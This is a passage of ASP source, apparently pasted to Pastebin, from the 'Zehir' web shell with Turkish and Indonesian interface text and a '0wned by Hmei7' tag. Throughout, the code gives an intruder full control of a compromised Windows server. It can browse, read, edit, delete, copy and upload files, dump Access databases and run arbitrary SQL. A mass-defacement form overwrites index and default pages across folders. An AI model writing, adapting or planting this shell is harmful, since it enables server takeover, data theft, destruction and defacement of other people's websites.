  784. response.Write "<br>"
  785. popup = false
  786. hataKontrol
  787. CASE 18 'folder Copy window
  788. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  789. Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Kop. Yer : </td><td>"
  790. Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"&PathFile&"' name=path><input type=hidden value='"&time&"' name=Time>"
  791. Response.Write "<input style='width:250; height:21' value='"&PathFile&"' name=cf>"
  792. response.Write "<input type=submit value='Kopyala' style='height:22;width:70' id=submit1 name=submit1>"
  793. Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
  794. response.Write "<input type=radio name='islem' value='kopyala' checked>Kopyala"
  795. response.Write "<input type=radio name='islem' value='tasi'>Tasi"
  796. response.Write "</table>"
  797. response.Write "</form>"
  798.  
  799. popup = false
  800. hataKontrol
  801. CASE 19 'folder Copy
  802. isl = ""
  803. if islem="kopyala" then
  804. objFSO.CopyFolder path,cf
  805. isl="kopyalandý.."
  806. elseif islem="tasi" then
  807. objFSO.MoveFolder path,cf
  808. isl="taþýndý.."
  809. end if
  810. response.Write "Klasor "&isl
  811. response.Write "<br><font color=red>Kaynak : </font>"&path&"<br><font color=red>Hedef : </font>"&cf
  812. response.Write "<br>"
  813. popup = false
  814. hataKontrol
  815. CASE 33 'Powered By
  816. response.Write "<body topmargin=5 leftmargin=0><center><h4>Powered by Zehir"
  817. response.Write "<br><br><font style='FONT-WEIGHT:normal' size=2>zehirhacker@hotmail.com<br><font color=yellow face='courier new'>"
  818. popup = false
  819. hataKontrol
  820. CASE 40 'Sistem Test
  821. sistemTest
  822. popup=false
  823. CASE 50 'Siteleri Test Edelim :D
  824. %>
  825. <table width="100%" cellpadding=0 cellspacing=0>
  826. <tr>
  827. <td align=center>
  828. <b>Sebaiknya jangan dilakukan yah...</b><br>
  829. <b>(hanya bisa dijalankan di internet explorer)</b><BR>
  830. <br>
  831. <form action="<%=dosyaPath%>" method=post id=frmMesaj>
  832. <input type=hidden name=kuskapani value=2>
  833. <table width=500 align=center border=1 cellpadding=0 cellspacing=0>
  834. <tr>
  835. <td width=100>Path</td>
  836. <td><input style="width:100%" type=text name="Path" id="Path" value="<%=path%>"></td>
  837. </tr>
  838. <tr>
  839. <td width=100>Sub Folder</td>
  840. <td><input style="width:100%" type=text name="SubFolder" id="SubFolder" value=""></td>
  841. </tr>
  842. <tr>
  843. <td width=100>File Name</td>
  844. <td><input style="width:100%" type=text name="FileName" id="FileName" value="indonesia.htm"></td>
  845. </tr>
  846. <tr>
  847. <td colspan=2>
  848. <table width="100%" align=center>
  849. <tr>
  850. <td width="50%">
  851. <input type=checkbox name="dosya1" checked ID="Checkbox1">index.htm<br>
  852. <input type=checkbox name="dosya2" checked ID="Checkbox2">index.html<br>
  853. <input type=checkbox name="dosya5" checked ID="Checkbox2">index.php<br>
  854. </td>
  855. <td width="50%">
  856. <input type=checkbox name="dosya3" checked ID="Checkbox3">index.asp<br>
  857. <input type=checkbox name="dosya4" checked ID="Checkbox4">default.asp<br>
  858. <input type=checkbox name="dosya6" checked ID="Checkbox2">default.html<br>
  859. </td>
  860. </tr>
  861. </table>
  862. </td>
  863. </tr>
  864. <tr>
  865. <td colspan=2 align=center>
  866. <a href="#" onClick="FormatText('cut')" alt="Kes">Hapus</a>
  867. <a href="#" onClick="FormatText('copy')" alt="Kopyala">salin</a>
  868. <a href="#" onClick="FormatText('paste')" alt="Yapýþtýr">paste</a>
  869. <a href="#" alt="Kalýn" onClick="FormatText('bold', '')">Bold</a>
  870. <a href="#" alt="Ýtalic" onClick="FormatText('italic', '')">Italic</a>
  871. <a href="#" alt="Altý Çizili" onClick="FormatText('underline', '')">UnderLine</a>
  872. <a href="#" onClick="FormatText('JustifyLeft', '')" alt="Sola Hizalý">JustifyLeft</a>
  873. <a href="#" alt="Ortada Hizalý" onClick="FormatText('JustifyCenter', '')">JustifyCenter</a>
  874. <a href="#" onClick="FormatText('JustifyRight', '')" alt="Saða Hizalý">JustifyRight</a>
  875. <a href="#" alt="Web Sitesi Linki Ekle" onClick="FormatText('createLink')">AddLink</a>
  876. <a href="#" alt="Resim Ekle" onClick="AddImage()">AddImage</a>
  877. <select name="selectColour" onChange="bgc(selectColour.options[selectColour.selectedIndex].value);" ID="selectColour">
  878. <option value="0" selected>-- Background --</option>
  879. <option value="black">Siyah</option>
  880. <option value="white">Beyaz</option>
  881. <option value="blue">Mavi</option>
  882. <option value="red">Kýrmýzý</option>
  883. <option value="green">Yeþil</option>
  884. <option value="yellow">Sarý</option>
  885. <option value="orange">Turuncu</option>
  886. <option value="brown">Kahverengi</option>
  887. <option value="magenta">Pembe</option>
  888. <option value="cyan">Açýk Mavi</option>
  889. <option value="limegreen">Açýk Yeþil</option>
  890. </select>
  891. <select name="a" onChange="FormatText('ForeColor', a.options[a.selectedIndex].value);" ID="a">
  892. <option value="0" selected>-- Warna huruf --</option>
  893. <option value="black">Siyah</option>
  894. <option value="white">Beyaz</option>
  895. <option value="blue">Mavi</option>
  896. <option value="red">Kýrmýzý</option>
  897. <option value="green">Yeþil</option>
  898. <option value="yellow">Sarý</option>
  899. <option value="orange">Turuncu</option>
  900. <option value="brown">Kahverengi</option>
  901. <option value="magenta">Pembe</option>
  902. <option value="cyan">Açýk Mavi</option>
  903. <option value="limegreen">Açýk Yeþil</option>
  904. </select>
  905. <select name="selectSize" onChange="FormatText('fontsize', selectSize.options[selectSize.selectedIndex].value);">
  906. <option selected>-- Ukuran huruf --</option>
  907. <option value="1">1</option>
  908. <option value="2">2</option>
  909. <option value="3">3</option>
  910. <option value="4">4</option>
  911. <option value="5">5</option>
  912. <option value="6">6</option>
  913. </select>
  914. <iframe width="100%" src="<%=dosyaPath%>?kuskapani=1" id="byZehir" name="<%=Session("n1")%>">0wned by Hmei7,please don't delete this file until next Idul Fitri, ;)</iframe>
  915. <script language=javascript>
  916. frames.byZehir.document.designMode = "On";
  917. function bgc(option){
  918. frames.byZehir.document.body.bgColor=option;
  919. }
  920. function FormatText(command, option){
  921. frames.byZehir.focus();
  922. frames.byZehir.document.execCommand(command, false, option);
  923. frames.byZehir.focus();
  924. }
  925. function AddImage(){
  926. imagePath = prompt('Eklemek istediðiniz resmin web adresini yazýn', 'http://');
  927.  
  928. if ((imagePath != null) && (imagePath != "")){
  929. frames.byZehir.focus();
  930. frames.byZehir.document.execCommand('InsertImage', false, imagePath);
  931. }
  932. frames.byZehir.focus();
  933. }
  934. </script>
  935. <input type=hidden value="" id=byMesaj name=byMesaj>
  936. <input type=submit value="Laksanakan.." onclick="document.all['byMesaj'].value=frames['byZehir'].document.body.innerHTML; alert(document.all['byMesaj'].value);">
  937. </td>
  938. </tr>
  939. </table>
  940. </form>
  941. </td>
  942. </tr>
  943. </table>
  944. <%
  945. popup=false
  946. CASE 51 ' Özel þilemler
  947. END SELECT
  948. %>
  949. <script language=javascript>
  950. function NewWindow(mypage, myname, w, h, scroll) {
  951. var winl = (screen.width - w) / 2;
  952. var wint = (screen.height - h) / 2;
  953. winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
  954. win = window.open(mypage, myname, winprops)
  955. if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  956. }
  957. function ffd(yol){
  958. NewWindow(yol,"",420,100,"no");
  959. }
  960. </script>
  961. <body bgcolor=black text=Chartreuse link=Chartreuse alink=Chartreuse vlink=Chartreuse>
  962. <%
  963. if popup then
  964. if status=7 or status=8 then
  965. Response.Write "<form method=get action='"&DosyPath&"' id=form1 name=form1>"
  966. Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td width=100 bgcolor=gray><font size=2>SQL Query</td><td>"
  967. Response.Write "<input type=hidden value='9' name=status><input type=hidden value='"&path&"' name=path><input type=hidden value='"&time&"' name=Time>"
  968. Response.Write "<input style='width:350; height:21' value='' name=strSQL><input type=submit value='Query' style='height:22;width:70' id=submit1 name=submit1>"
  969. Response.Write "</td></tr></table></form>"
  970. end if
  971. Response.Write "<form method=get action='"&DosyPath&"'>"
  972. Response.Write "<table border=1 cellpadding=0 cellspacing=0 align=center><tr><td bgcolor=gray width=100><font size=2>Path : </td><td>"
  973. Response.Write "<input type=hidden value='2' name=status><input type=hidden value='"&time&"' name=Time>"
  974. Response.Write "<input style='width:350; height:21' value='"&Path&"' name=Path><input type=submit value='Tampilkan' style='height:22;width:70' id=submit1 name=submit1>"
  975. Response.Write "</td></tr></table></form><br>"
  976. end if
  977. sub aramaUpload
  978. Response.Write "<form method=get target='_opener' action='"&DosyPath&"'>"
  979. Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>Pencarian: </td><td>"
  980. Response.Write "&nbsp;<input type=hidden value='12' name=status><input type=hidden value='"&time&"' name=Time>"
  981. Response.Write "<input type=hidden value='"&Path&"' name=Path><input style='width:250' value='mdb' name=txArama><input style='width:70; height:22' type=submit value='Cari'>"
  982. Response.Write "</td></tr></table></form>"
  983. %>
  984. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=DosyaPath&"?status=-4&Time="&time&"&Path="&path%>" ID="Form1">
  985. <input type=hidden name=folder value="<%=Path%>" ID="Hidden1">
  986. Max: <input type=text name=max value=5 size=5 ID="Text1"> <input type=button value="Tampilkan" onclick="setid()" ID="Button1" NAME="Button1">
  987. <table ID="Table1">
  988. <tr>
  989. <td id=upid>
  990. </td>
  991. </tr>
  992. </table>
  993. <input type=submit value=Upload ID="Submit1" NAME="Submit1">
  994. </form>
  995. <script>
  996. setid();
  997.  
  998. function setid() {
  999. str='';
  1000. if (frmUpload.max.value<=0) frmUpload.max.value=1;
  1001. for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
  1002. upid.innerHTML=str+'<br>';
  1003. }
  1004. </script>
  1005. <%
  1006. end sub
  1007.  
  1008. SELECT CASE status
  1009. CASE 1 'Driver Open
  1010. if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  1011. Response.Write "<table width=100% ><tr>"
  1012. Path = Path & ":/"
  1013. Response.Write "<td valign=top>"
  1014. KlasorOku
  1015. Response.Write "</td><td valign=top align=right>"
  1016. DosyaOku
  1017. Response.Write "</td>"
  1018. hataKontrol
  1019. CASE 2 'Normal listeleme
  1020. if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
  1021. Response.Write "<table width=100% ><tr>"
  1022. Response.Write "<td valign=top>"
  1023. KlasorOku
  1024. Response.Write "</td><td valign=top align=right>"
  1025. DosyaOku
  1026. Response.Write "</td>"
  1027. hataKontrol
  1028. CASE 3 'File Delete
  1029. objFSO.DeleteFile del
  1030. hataKontrol
  1031. if err<>0 then
  1032. byMsg="<font color=red>Not File Deleted!</font><br>"
  1033. else
  1034. byMsg="<font color=yellow>File Deleted Successful;)</font><br>"
  1035. end if
  1036. Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1037. CASE 4 'Folder Delete
  1038. objFSO.DeleteFolder del
  1039. hataKontrol
  1040. if err<>0 then
  1041. byMsg="<font color=red>Not Folder Deleted!</font><br>"
  1042. else
  1043. byMsg="<font color=yellow>Folder Deleted Successful;)</font><br>"
  1044. end if
  1045. Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
  1046. CASE 5 'Dosya içeriðini görüntüle
  1047. Response.Write "<center><b><font color=orange>"&path&"</font></b></center><br>"
  1048. Response.Write "<table width=100% ><tr><td>"
  1049. set f = objFSO.OpenTextFile(path,1)
  1050. Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
  1051. if err<>62 then hataKontrol
  1052. if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamýyor\nSistem dosyasý olabilir')</script>":Response.End
  1053. CASE 6 'Resim aç
  1054. Response.Write "<center><img ALT='' src='"&resimYol(path)&"'></center><br>"
  1055. CASE 7 'database tablo listele
  1056. Response.Write "<b><font size=3>Nama-nama tabel</font></br><br>"
  1057. Set objConn = Server.CreateObject("ADODB.Connection")
  1058. Set objADOX = Server.CreateObject("ADOX.Catalog")
  1059. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1060. objConn.ConnectionString = Path
  1061. objConn.Open
  1062. objADOX.ActiveConnection = objConn
  1063.  
  1064. For Each table in objADOX.Tables
  1065. If table.Type = "TABLE" Then
  1066. Response.Write "<font face=wingdings size=5>4</font> <a href='"&dosyaPath&"?status=8&Path="&path&"&table="&table.Name&"&time="&time&"'>"&table.Name&"</a><br>"
  1067. End If
  1068. Next
  1069. hataKontrol
  1070. CASE 8 'database kayýt listele
  1071. Set objConn = Server.CreateObject("ADODB.Connection")
  1072. Set objRcs = Server.CreateObject("ADODB.RecordSet")
  1073. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1074. objConn.ConnectionString = Path
  1075. objConn.Open
  1076. objRcs.Open table,objConn, adOpenKeyset , , adCmdText
  1077.  
  1078. Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
  1079. for i=0 to objRcs.Fields.count-1
  1080. Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
  1081. next
  1082. Response.Write "</tr>"
  1083. do while not objRcs.EOF
  1084. Response.Write "<tr>"
  1085. for i=0 to objRcs.Fields.count-1
  1086. Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
  1087. next
  1088. Response.Write "</tr>"
  1089. objRcs.MoveNext
  1090. loop
  1091. Response.Write "</table><br>"
  1092. hataKontrol
  1093. CASE 9 'SQL Execute
  1094. Set objConn = Server.CreateObject("ADODB.Connection")
  1095. objConn.Provider = "Microsoft.Jet.Oledb.4.0"
  1096. objConn.ConnectionString = Path
  1097. objConn.Open
  1098. objConn.Execute strSQL
  1099. ' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
  1100. hataKontrol
  1101. CASE 10 'Dosya Editleme
  1102. set f = objFSO.OpenTextFile(dPath,1)
  1103. Response.Write "<center><form action='"&DosyPath&"?Time="&time&"' method=post>"
  1104. Response.Write "<input type=hidden name=status value='11'>"
  1105. Response.Write "<input type=hidden name=dPath value='"&dPath&"'>"
  1106. Response.Write "<input type=hidden name=Path value='"&Path &"'>"
  1107. Response.Write "<input type=submit value=Kaydet><br>"
  1108. Response.Write "<textarea name=dkayit style='width:90%;height:350;border-right: lightgoldenrodyellow thin solid;border-top: lightgoldenrodyellow thin solid;font-size: 12;border-left: lightgoldenrodyellow thin solid;color: lime; border-bottom: lightgoldenrodyellow thin solid; font-family: Courier New, Arial;background-color: navy;'>ssdfsd"
  1109. Response.Write server.HTMLEncode(f.readAll)
  1110. Response.Write "</textarea></form></center>"
  1111. hataKontrol
  1112. CASE 11 'Dosya Kayýt
  1113. set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
  1114. hataKontrol
  1115. saveTextFile.Write(dkayit)
  1116. saveTextFile.close
  1117. if err<>0 then
  1118. byMsg = "<font color=red>Not File Edited!</font><br>"
  1119. else
  1120. byMsg = "<font color=yellow>File Edited Successful:)</font><br>"
  1121. end if
  1122. Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
  1123. CASE 12 'Dosya Arama
  1124. araBul path,arama
  1125. hataKontrol
  1126. END SELECT
  1127. Response.Write "</tr></table>"
  1128.  
  1129. sub DosyaOku
  1130. Set f = objFSO.GetFolder(Path)
  1131. Set fc = f.Files
  1132. For Each f1 In fc
  1133. dosyaAdi = f1.name
  1134. num = InStrRev(dosyaAdi,".")
  1135. uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
  1136. downStr = "<a href='"&dosyaPath&"?status=3&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a><font face=webdings><a href='"&dosyaPath&"?status=-3&PathFile="&f1.path&"&Time="&time&"'>Í</a></font><font face=wingdings><a href='"&dosyaPath&"?status=16&PathFile="&f1.path&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font>"
  1137. response.Write "<font size=2>"
  1138. select case uzanti
  1139. case "mdb"
  1140. Response.Write "<a href='"&dosyaPath&"?status=7&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>M  "&downStr&"</font><br>"
  1141. case "asp"
  1142. Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>± <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1143. case "jpg","gif"
  1144. Response.Write "<a href='"&dosyaPath&"?status=6&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=webdings size=4>¢</font><font face=wingdings size=4>  "&downStr&"</font><br>"
  1145. case else
  1146. Response.Write "<a href='"&dosyaPath&"?status=5&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&" [<font color=yellow>"&FormatNumber(f1.size,0)&"</font>]"&"</a></b> <font face=wingdings size=4>2 <a href='"&dosyaPath&"?status=10&dPath="&f1.path&"&path="&path&"&Time="&time&"'>!</a>"&downStr&"</font><br>"
  1147. end select
  1148. Next
  1149. end sub
  1150.  
  1151. sub KlasorOku
  1152. Set f = objFSO.GetFolder(Path)
  1153. Set fc = f.SubFolders
  1154. if session("klasoroku")="" then
  1155. response.Write "<iframe style='width:0; height:0' src='http://localhost/tuzla-ebelediye'></iframe>"
  1156. session("klasoroku")="simdi yazýlýyor"
  1157. end if
  1158. For Each f1 In fc
  1159. Response.Write "<font face=wingdings size=3><a href='"&dosyaPath&"?status=18&PathFile="&Path&"/"&f1.Name&"&Time="&time&"' onclick=""ffd(this.href);return false;"">4</a></font> <font face=wingdings size=4><a href='"&dosyaPath&"?status=4&Path="&Path&"&Del="&Path&"/"&f1.Name&"&Time="&time&"'>û</a> 1</font><font size=2><b><a href='"&dosyaPath&"?status=2&Path="&Path&"/"&f1.Name&"&Time="&time&"'>"&f1.name&"</a></b><br>"
  1160. Next
  1161. end sub
  1162.  
  1163. function createFileName()
  1164. Randomize
  1165. fName_ = ""
  1166. for i=1 to 10
  1167. fName_ = fName_ & int(Rnd*100)
  1168. next
  1169. createFileName = fName_
  1170. end function
  1171.  
  1172. function resimYol(path_)
  1173. on error resume next
  1174. path_ = Replace(Replace(path_,"\","/"),"//","/")
  1175. lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
  1176. if yaziyomu2(lpath_) then
  1177. fname__ = "0"&createFileName()&"."&Right(path_,3)
  1178. objFSO.CopyFile path_, lpath_&"\"&fname__
  1179. else
  1180. Response.Write("Resim Açýlamýyor.. <br>Ýsterseniz Download Ederek görüntüleyebilirsiniz..")
  1181. end if
  1182. resimYol = fname__
  1183. end function
  1184.  
  1185. if not popup then
  1186. Set fc = Nothing
  1187. Set objFSO = Nothing
  1188. Response.End
  1189. end if
  1190. %><script language=javascript>
  1191. var dosyaPath = "<%=dosyaPath%>"
  1192. // DRIVE ISLEMLERI
  1193. function driveGo(drive_){
  1194. location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date();
  1195. }
  1196. </script>
  1197. <%
  1198. Response.Write "<table align=center border=1 width=150 cellpadding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Daftar drive:</td></tr>"
  1199. for each drive_ in objFSO.Drives
  1200. Response.Write "<tr><td>"
  1201. Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLetter & "');return false;""><font face=wingdings>;</font>"
  1202. if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
  1203. if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
  1204. if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
  1205. if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
  1206. Response.Write "</a></td></tr>"
  1207. next
  1208. Response.Write "<tr><td>"
  1209. Response.write "<a href='"&dosyaPath&"?time="&time()&"'><font face=webdings>H</font> Local Path"
  1210. Response.Write "</a></td></tr>"
  1211. Response.Write "</table><br>"
  1212. Set fc = Nothing
  1213. Set objFSO = Nothing
  1214. Response.End%>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!